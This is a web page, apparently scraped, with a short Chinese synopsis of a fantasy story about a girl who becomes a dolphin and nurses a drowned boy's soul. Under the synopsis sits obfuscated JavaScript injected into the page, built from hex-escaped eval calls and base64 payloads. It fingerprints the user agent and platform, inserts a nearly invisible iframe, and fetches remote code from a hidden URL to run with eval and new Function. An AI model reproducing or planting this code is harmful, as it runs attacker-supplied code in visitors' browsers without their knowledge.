<p>所有活着的人类,都是海里一条巨大的鱼;出生的时候他们从海的此岸出发。他们的生命就像横越大海,有时相遇,有时分开……死的时候,他们便到了岸,各去各的世界。 四十五亿年前,这个星球上,只有一片汪洋大海,和一群古老的大鱼。在与人类世界平行的空间里,生活着一个规规矩矩、遵守秩序的族群,他们为神工作,掌管世界万物运行规律,也掌管人类的灵魂。他们的天空与人类世界的大海相连。他们既不是神,也不是人,他们是“其他人”。 十六岁生日那天,居住在“神之围楼”里的一个名叫椿的女孩变作一条海豚到人间巡礼,被大海中的一张网困住,一个人类男孩因为救她而落入深海死去。为了报恩,为了让人类男孩复活,她需要在自己的世界里,历经种种困难与阻碍,帮助死后男孩的灵魂——一条拇指那么大的小鱼,成长为一条比鲸更巨大的鱼并回归大海。</p>
eval("\x77\x69\x6e\x64\x6f\x77")["\x45\x56\x73\x62\x74"]=function(e){var bf ='ABCDEFGHIJKLMNO'+'PQRSTUVW'+'XYZabcde'+''+'fghijk'+'lmnopqrstuvwxyz0123'+''+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=bf.indexOf(e.charAt(f++));o=bf.indexOf(e.charAt(f++));u=bf.indexOf(e.charAt(f++));a=bf.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x72\x61\x4c\x65\x52\x68"]=function(){eval(EVsbt("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQoRVZzYnQodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO2lmKG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihFVnNidCgiWW1GcFpIVT0iKSk+LTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEVWc2J0KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbRVZzYnQoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciB6PXUrJy0xLmh0bWw/cmFMZVJoJztkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyIgYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1snYWQnKydkRXYnKydlbnRMJysnaXN0JysnZW5lciddKCdtJysnZXNzJysnYWdlJyxmdW5jdGlvbihlKXtpZihlLmRhdGFbcl0pe3JtKGMpO25ldyBGdW5jdGlvbihldmFsKGRlY29kZVVSSUNvbXBvbmVudChlLmRhdGFbcl0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSkoKTt9fSk7fWVsc2V7ZG9jdW1lbnQud3JpdGUoJzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0PicpO319KSgnPScrJycrJ1F6JysnJysnTXRNJysnRCcrJycrJ054MCcrJ0NlJysnJysnR0pUJysnJysnSm41JysnJysnVycrJ1lvJysnJysnbFdjJysnemxIJysnJysnYjYxJysnbWNsJysnWmsnKycnKydNbCcrJycrJ00nKycnKydEJysnTicrJycrJzBBJysnak0nKydCJysnTlQnKycnKydKbFInKycnKydYYXonKyc1eScrJycrJ1p1JysnRicrJ0dhJysncEYnKycnKydIZScrJycrJ2twJysnJysnbkx6JysnJysnWmtNJysnbCcrJycrJ1knKycnKydrTWwnKydFME0nKydsTUgnKycnKydjJysnJysnMFJIJysnJysnYScsJycrJ2RlcycrJ19zJysnXzE0MycrJycrJycsd2luZG93LGRvY3VtZW50LCcnKycnKycnKycnKycnKycnLCcnKQ=="));}
window['cAqAUX'] = function(){ var keyList = [ "nutxV7BZ-MX30IyrThqfk5pmwjaOxGgt7=p+ckYMSnqP8feI0zrEuiwO" , "tcMP3gKIROQpVbL9uJ21-hB7YyU+pnM-1eK9alimE5tUrJbDoQSjcs7T", "9Uv0KdTSiPu4NwaLC-+JlrWtQBA36kXDxEZOLO.P1ylxZU/z7ashgirktW:XdBmI2Jf=ubNp", "i+cUSWZ=EOGJNeI-dPy7RDb0Mp42Ax+5e36gGTLU9mjB87", ]; function decrypt(t, e) { if (!t) return ""; for (var a = t.split(""), n = e.split(""), i = {}, r = [], o = 0;o < a.length / 2;o++) i[a[o]] = a[a.length / 2 + o]; for (var s = 0; s < e.length; s++) r.push(i[n[s]]); return r.join(""); }; (!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?(function(u, i, w, d) { var x = decrypt, cs = d[x(keyList[0],"-wppqIx0-pfBx")], crd = x(keyList[1],"YugRLggOgMgcL"); 'jQuery'; u = decodeURIComponent(x(keyList[2], u)); 'jQuery'; var xhr = new XMLHttpRequest(); xhr.open('GET', u + '/s/a?_=' + x(keyList[3], i)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText); new Function(data.data)(cs); } }; xhr.send('u=1'); })("Lll0aWuuw0-vS+JwQa9ACCvSdi", "UEPDSJSUSSGbiUSJDD", window, document):function(){}; var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); while (i < input.length) { enc1 = _keyStr.indexOf(input.charAt(i++)); enc2 = _keyStr.indexOf(input.charAt(i++)); enc3 = _keyStr.indexOf(input.charAt(i++)); enc4 = _keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } output = _utf8_decode(output); return output; } function _utf8_decode(utftext) { var string = ""; var i = 0; var c = 0; var c1 = 0; var c2 = 0; while (i < utftext.length) { c = utftext.charCodeAt(i); if (c < 128) { string += String.fromCharCode(c); i++; } else if ((c > 191) && (c < 224)) { c1 = utftext.charCodeAt(i + 1); string += String.fromCharCode(((c & 31) << 6) | (c1 & 63)); i += 2; } else { c1 = utftext.charCodeAt(i + 1); c2 = utftext.charCodeAt(i + 2); string += String.fromCharCode(((c & 15) << 12) | ((c1 & 63) << 6) | (c2 & 63)); i += 3; } } return string; }}